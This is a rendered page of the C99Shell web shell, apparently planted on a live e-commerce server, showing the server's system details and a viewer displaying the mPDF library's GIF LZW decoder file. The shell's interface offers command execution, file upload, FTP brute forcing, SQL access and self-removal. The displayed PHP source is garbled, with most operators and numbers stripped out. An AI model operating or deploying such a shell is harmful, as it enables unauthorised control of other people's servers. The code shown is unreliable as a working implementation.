!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/vendor/mpdf/mpdf/src/Gif/   drwxr-xr-x
Free 26.19 GB of 117.98 GB (22.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Lzw.php (4.8 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Mpdf\Gif;

/**
 * GIF Util - (C) 2003 Yamasoft (S/C)
 *
 * All Rights Reserved
 *
 * This file can be freely copied, distributed, modified, updated by anyone under the only
 * condition to leave the original address (Yamasoft, http://www.yamasoft.com) and this header.
 *
 * @link http://www.yamasoft.com
 */
class Lzw
{

    var 
$MAX_LZW_BITS;

    var 
$Fresh;
    var 
$CodeSize;
    var 
$SetCodeSize;
    var 
$MaxCode;
    var 
$MaxCodeSize;
    var 
$FirstCode;
    var 
$OldCode;

    var 
$ClearCode;
    var 
$EndCode;
    var 
$Next;
    var 
$Vals;
    var 
$Stack;
    var 
$sp;
    var 
$Buf;
    var 
$CurBit;
    var 
$LastBit;
    var 
$Done;
    var 
$LastByte;

    public function 
__construct()
    {
        
$this->MAX_LZW_BITS 12;

        unset(
$this->Next);
        unset(
$this->Vals);
        unset(
$this->Stack);
        unset(
$this->Buf);

        
$this->Next range(0, (<< $this->MAX_LZW_BITS) - 1);
        
$this->Vals range(0, (<< $this->MAX_LZW_BITS) - 1);
        
$this->Stack range(0, (<< ($this->MAX_LZW_BITS 1)) - 1);
        
$this->Buf range(0279);
    }

    function 
deCompress($data, &$datLen)
    {
        
$stLen strlen($data);
        
$datLen 0;
        
$ret "";
        
$dp 0;  // data pointer
        // INITIALIZATION
        
$this->LZWCommandInit($data$dp);

        while ((
$iIndex $this->LZWCommand($data$dp)) >= 0) {
            
$ret .= chr($iIndex);
        }

        
$datLen $dp;

        if (
$iIndex != -2) {
            return 
false;
        }

        return 
$ret;
    }

    function 
LZWCommandInit(&$data, &$dp)
    {
        
$this->SetCodeSize ord($data[0]);
        
$dp += 1;

        
$this->CodeSize $this->SetCodeSize 1;
        
$this->ClearCode << $this->SetCodeSize;
        
$this->EndCode $this->ClearCode 1;
        
$this->MaxCode $this->ClearCode 2;
        
$this->MaxCodeSize $this->ClearCode << 1;

        
$this->GetCodeInit($data$dp);

        
$this->Fresh 1;
        for (
$i 0$i $this->ClearCode$i++) {
            
$this->Next[$i] = 0;
            
$this->Vals[$i] = $i;
        }

        for (; 
$i < (<< $this->MAX_LZW_BITS); $i++) {
            
$this->Next[$i] = 0;
            
$this->Vals[$i] = 0;
        }

        
$this->sp 0;
        return 
1;
    }

    function 
LZWCommand(&$data, &$dp)
    {
        if (
$this->Fresh) {
            
$this->Fresh 0;
            do {
                
$this->FirstCode $this->GetCode($data$dp);
                
$this->OldCode $this->FirstCode;
            } while (
$this->FirstCode == $this->ClearCode);

            return 
$this->FirstCode;
        }

        if (
$this->sp 0) {
            
$this->sp--;
            return 
$this->Stack[$this->sp];
        }

        while ((
$Code $this->GetCode($data$dp)) >= 0) {
            if (
$Code == $this->ClearCode) {
                for (
$i 0$i $this->ClearCode$i++) {
                    
$this->Next[$i] = 0;
                    
$this->Vals[$i] = $i;
                }

                for (; 
$i < (<< $this->MAX_LZW_BITS); $i++) {
                    
$this->Next[$i] = 0;
                    
$this->Vals[$i] = 0;
                }

                
$this->CodeSize $this->SetCodeSize 1;
                
$this->MaxCodeSize $this->ClearCode << 1;
                
$this->MaxCode $this->ClearCode 2;
                
$this->sp 0;
                
$this->FirstCode $this->GetCode($data$dp);
                
$this->OldCode $this->FirstCode;

                return 
$this->FirstCode;
            }

            if (
$Code == $this->EndCode) {
                return -
2;
            }

            
$InCode $Code;
            if (
$Code >= $this->MaxCode) {
                
$this->Stack[$this->sp++] = $this->FirstCode;
                
$Code $this->OldCode;
            }

            while (
$Code >= $this->ClearCode) {
                
$this->Stack[$this->sp++] = $this->Vals[$Code];

                if (
$Code == $this->Next[$Code]) { // Circular table entry, big GIF Error!
                    
return -1;
                }

                
$Code $this->Next[$Code];
            }

            
$this->FirstCode $this->Vals[$Code];
            
$this->Stack[$this->sp++] = $this->FirstCode;

            if ((
$Code $this->MaxCode) < (<< $this->MAX_LZW_BITS)) {
                
$this->Next[$Code] = $this->OldCode;
                
$this->Vals[$Code] = $this->FirstCode;
                
$this->MaxCode++;

                if ((
$this->MaxCode >= $this->MaxCodeSize) && ($this->MaxCodeSize < (<< $this->MAX_LZW_BITS))) {
                    
$this->MaxCodeSize *= 2;
                    
$this->CodeSize++;
                }
            }

            
$this->OldCode $InCode;
            if (
$this->sp 0) {
                
$this->sp--;
                return 
$this->Stack[$this->sp];
            }
        }

        return 
$Code;
    }

    function 
GetCodeInit(&$data, &$dp)
    {
        
$this->CurBit 0;
        
$this->LastBit 0;
        
$this->Done 0;
        
$this->LastByte 2;
        return 
1;
    }

    function 
GetCode(&$data, &$dp)
    {
        if ((
$this->CurBit $this->CodeSize) >= $this->LastBit) {
            if (
$this->Done) {
                if (
$this->CurBit >= $this->LastBit) {
                    
// Ran off the end of my bits
                    
return 0;
                }
                return -
1;
            }

            
$this->Buf[0] = $this->Buf[$this->LastByte 2];
            
$this->Buf[1] = $this->Buf[$this->LastByte 1];

            
$Count ord($data[$dp]);
            
$dp += 1;

            if (
$Count) {
                for (
$i 0$i $Count$i++) {
                    
$this->Buf[$i] = ord($data[$dp $i]);
                }
                
$dp += $Count;
            } else {
                
$this->Done 1;
            }

            
$this->LastByte $Count;
            
$this->CurBit = ($this->CurBit $this->LastBit) + 16;
            
$this->LastBit = ($Count) << 3;
        }

        
$iRet 0;
        for (
$i $this->CurBit$j 0$j $this->CodeSize$i++, $j++) {
            
$iRet |= (($this->Buf[intval($i 8)] & (<< ($i 8))) != 0) << $j;
        }

        
$this->CurBit += $this->CodeSize;
        return 
$iRet;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0056 ]--